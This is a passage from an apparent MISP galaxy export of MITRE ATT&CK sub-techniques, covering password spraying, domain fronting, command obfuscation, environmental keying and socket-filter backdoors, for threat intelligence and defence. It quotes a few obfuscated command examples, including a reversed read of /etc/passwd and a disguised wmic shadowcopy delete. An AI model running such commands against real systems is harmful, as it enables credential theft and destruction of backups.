</tr>
<tr>
<td><a href="https://github.com/huntergregal/mimipenguin">https://github.com/huntergregal/mimipenguin</a></td>
</tr>
<tr>
<td><a href="https://www.baeldung.com/linux/proc-id-maps">https://www.baeldung.com/linux/proc-id-maps</a></td>
</tr>
</tbody>
</table>

**File Deletion - T1070.004**

Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include `<code>del</code>` on Windows and `<code>rm</code>` or `<code>unlink</code>` on Linux and macOS.

The tag is: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"`

**Table 5517. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1070/004">https://attack.mitre.org/techniques/T1070/004</a></td>
</tr>
</tbody>
</table>
**Domain Fronting - T1090.004**

Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).

For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.

The tag is: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1090.004"

### Table 5518. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1090/004">https://attack.mitre.org/techniques/T1090/004</a></td>
</tr>
</tbody>
</table>

**Clear Persistence - T1070.009**

Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation: Talos - Cisco Attack 2022)

In some instances, artifacts of persistence may also be removed once an adversary's persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020)

The tag is: misp-galaxy:mitre-attack-pattern="Clear Persistence - T1070.009"

### Table 5519. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1070/009">https://attack.mitre.org/techniques/T1070/009</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/recent-cyber-attack/">https://blog.talosintelligence.com/recent-cyber-attack/</a></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/">https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/</a></td>
</tr>
</tbody>
</table>
Password Guessing - T1110.001

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target’s policies on password complexity or use policies that may lock accounts out after a number of failed attempts.

Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization’s login failure policies. (Citation: Cylance Cleaver)

Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:

- SSH (22/TCP)
- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)
- RDP / Terminal Services (3389/TCP)
- HTTP/HTTP Management Services (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)
- SNMP (161/UDP and 162/TCP/UDP)

In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as wlanAPI) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)

In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

The tag is: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001"
Password Cracking - T1110.002

Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices. (Citation: US-CERT-TA18-106A)

Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.

The tag is: misp-galaxy:mitre-attack-pattern="Password Cracking - T1110.002"

Password Spraying - T1110.003

Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)

Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:
In addition to management services, adversaries may “target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,” as well as externally facing email applications, such as Office 365. (Citation: US-CERT TA18-068A 2018)

In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

The tag is: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003"

Table 5522. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.blackhillsinfosec.com/?p=4645">http://www.blackhillsinfosec.com/?p=4645</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1110/003">https://attack.mitre.org/techniques/T1110/003</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA18-086A">https://www.us-cert.gov/ncas/alerts/TA18-086A</a></td>
</tr>
</tbody>
</table>

**Credential Stuffing - T1110.004**

Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.

Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization’s login failure policies.
Typically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:

- SSH (22/TCP)
- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)
- RDP / Terminal Services (3389/TCP)
- HTTP/HTTP Management Services (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)

In addition to management services, adversaries may “target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,” as well as externally facing email applications, such as Office 365. (Citation: US-CERT TA18-068A 2018)

The tag is: misp-galaxy:mitre-attack-pattern="Credential Stuffing - T1110.004"

Table 5523. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1110/004">https://attack.mitre.org/techniques/T1110/004</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA18-086A">https://www.us-cert.gov/ncas/alerts/TA18-086A</a></td>
</tr>
</tbody>
</table>

**Web Protocols - T1071.001**

Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as HTTP/S (Citation: CrowdStrike Putter Panda) and WebSocket (Citation: Brazking-Websockets) that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

The tag is: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001"
Bidirectional Communication - T1102.002

Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

The tag is: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002"

Table 5525. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1102/002">https://attack.mitre.org/techniques/T1102/002</a></td>
</tr>
</tbody>
</table>

Malicious Link - T1204.001

An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).

The tag is: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001"

Table 5526. Table References
Port Knocking - T1205.001

Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.

This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

The tag is: *misp-galaxy:mitre-attack-pattern="Port Knocking - T1205.001"*

Table 5527. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1205/001">https://attack.mitre.org/techniques/T1205/001</a></td>
</tr>
<tr>
<td><a href="https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631">https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631</a></td>
</tr>
</tbody>
</table>

Binary Padding - T1027.001

Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.

Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)

The tag is: *misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001"*

Table 5528. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1027/001">https://attack.mitre.org/techniques/T1027/001</a></td>
</tr>
</tbody>
</table>
Command Obfuscation - T1027.010

Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)

For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, ^, ``, `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`"Wor""d.Application`), order and casing of characters (rev <<<'dwssap/cte/ tac'), globing (mkdir -p '/tmp/:&$NiA'), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)

Adversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\voi\pcw\..\..\Windows\tei\qs\k\..\..\system32\eroool\..\wbem\wg\je\..\..\wmic.exe` `shadowcopy delete`).(Citation: Twitter Richard WMIC)

Tools such as `<code>Invoke-Obfuscation</code>` and `<code>Invoke-DOSfuscation</code>` have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)

The tag is: `misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010"`

Table 5529. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1027/010">https://attack.mitre.org/techniques/T1027/010</a></td>
</tr>
<tr>
<td><a href="https://github.com/danielbohannon/Invoke-DOSfuscation">https://github.com/danielbohannon/Invoke-DOSfuscation</a></td>
</tr>
<tr>
<td><a href="https://github.com/danielbohannon/Invoke-Obfuscation">https://github.com/danielbohannon/Invoke-Obfuscation</a></td>
</tr>
<tr>
<td><a href="https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcommand">https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcommand</a></td>
</tr>
</tbody>
</table>
Cloud Services - T1021.007

Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user.

Many enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as `<code>Connect-AZAccount</code>` for Azure PowerShell, `<code>Connect-MgGraph</code>` for Microsoft Graph PowerShell, and `<code>gcloud auth login</code>` for the Google Cloud CLI.

In some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password.

The tag is: `misp-galaxy:mitre-attack-pattern="Cloud Services - T1021.007"`

Table 5530. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1021/007">https://attack.mitre.org/techniques/T1021/007</a></td>
</tr>
</tbody>
</table>

Mail Protocols - T1071.003

Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

The tag is: `misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003"`

Table 5531. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1021/007">https://attack.mitre.org/techniques/T1021/007</a></td>
</tr>
</tbody>
</table>
Environmental Keying - T1480.001

Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)

Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).

Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.

Like other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.

The tag is: misp-galaxy:mitre-attack-pattern="Environmental Keying - T1480.001"
Domain Properties - T1590.001

Adversaries may gather information about the victim’s network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments.(Citation: Azure Active Directory Reconnaissance)(Citation: Office 265 Azure Domain Availability) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

The tag is: `misp-galaxy:mitre-attack-pattern="Domain Properties - T1590.001"`

Table 5533. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1590/001">https://attack.mitre.org/techniques/T1590/001</a></td>
</tr>
<tr>
<td><a href="https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js">https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js</a></td>
</tr>
<tr>
<td><a href="https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf">https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf</a></td>
</tr>
</tbody>
</table>
Web Cookies - T1606.001

Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.

Adversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces. (Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.

Once forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms. (Citation: Volexity SolarWinds) (Citation: Pass The Cookie) (Citation: Unit 42 Mac Crypto Cookies January 2019)

The tag is: misp-galaxy:mitre-attack-pattern="Web Cookies - T1606.001"

Table 5534. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1606/001">https://attack.mitre.org/techniques/T1606/001</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/">https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/</a></td>
</tr>
<tr>
<td><a href="https://wunderwuzzi23.github.io/blog/passthecookie.html">https://wunderwuzzi23.github.io/blog/passthecookie.html</a></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/">https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/</a></td>
</tr>
</tbody>
</table>

Upload Malware - T1608.001

Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.
Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult. (Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)

Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.

The tag is: **misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001"**

### Local Groups - T1069.001

Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

Commands such as `<code>net localgroup</code>` of the [Net](https://attack.mitre.org/software/S0039) utility, `<code>dscl . -list /Groups</code>` on macOS, and `<code>groups</code>` on Linux can list local groups.

The tag is: **misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001"**

### Default Accounts - T1078.001

Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or
devices, including the root user account in AWS and the default service account in Kubernetes. (Citation: Microsoft Local Accounts Feb 2019) (Citation: AWS Root User) (Citation: Threat Matrix for Kubernetes)

Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021). (Citation: Metasploit SSH Module)

The tag is: *misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001"

**Table 5537. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1078/001">https://attack.mitre.org/techniques/T1078/001</a></td>
</tr>
<tr>
<td><a href="https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh">https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/">https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/</a></td>
</tr>
</tbody>
</table>

### Local Account - T1087.001

Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.

Commands such as `<code>net user</code>` and `<code>net localgroup</code>` of the [Net](https://attack.mitre.org/software/S0039) utility and `<code>id</code>` and `<code>groups</code>` on macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the `<code>/etc/passwd</code>` file. On macOS the `<code>dscl . list /Users</code>` command can be used to enumerate local accounts.

The tag is: *misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"

**Table 5538. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1087/001">https://attack.mitre.org/techniques/T1087/001</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql">https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql</a></td>
</tr>
</tbody>
</table>
Malicious File - T1204.002

An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.

Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs)

While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).

The tag is: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002"

<table>
<thead>
<tr>
<th>Table 5539. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1204/002">https://attack.mitre.org/techniques/T1204/002</a></td>
</tr>
</tbody>
</table>

Socket Filters - T1205.002

Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the libpcap library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.

To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)

Filters can be installed on any Unix-like platform with libpcap installed or on Windows hosts using Winpcap. Adversaries may use either libpcap with pcap_setfilter or the standard library function setsockopt with SO_ATTACH_FILTER options. Since the socket connection is not active until the packet
is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.

The tag is: **misp-galaxy:mitre-attack-pattern="Socket Filters - T1205.002"**

### Table 5540. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
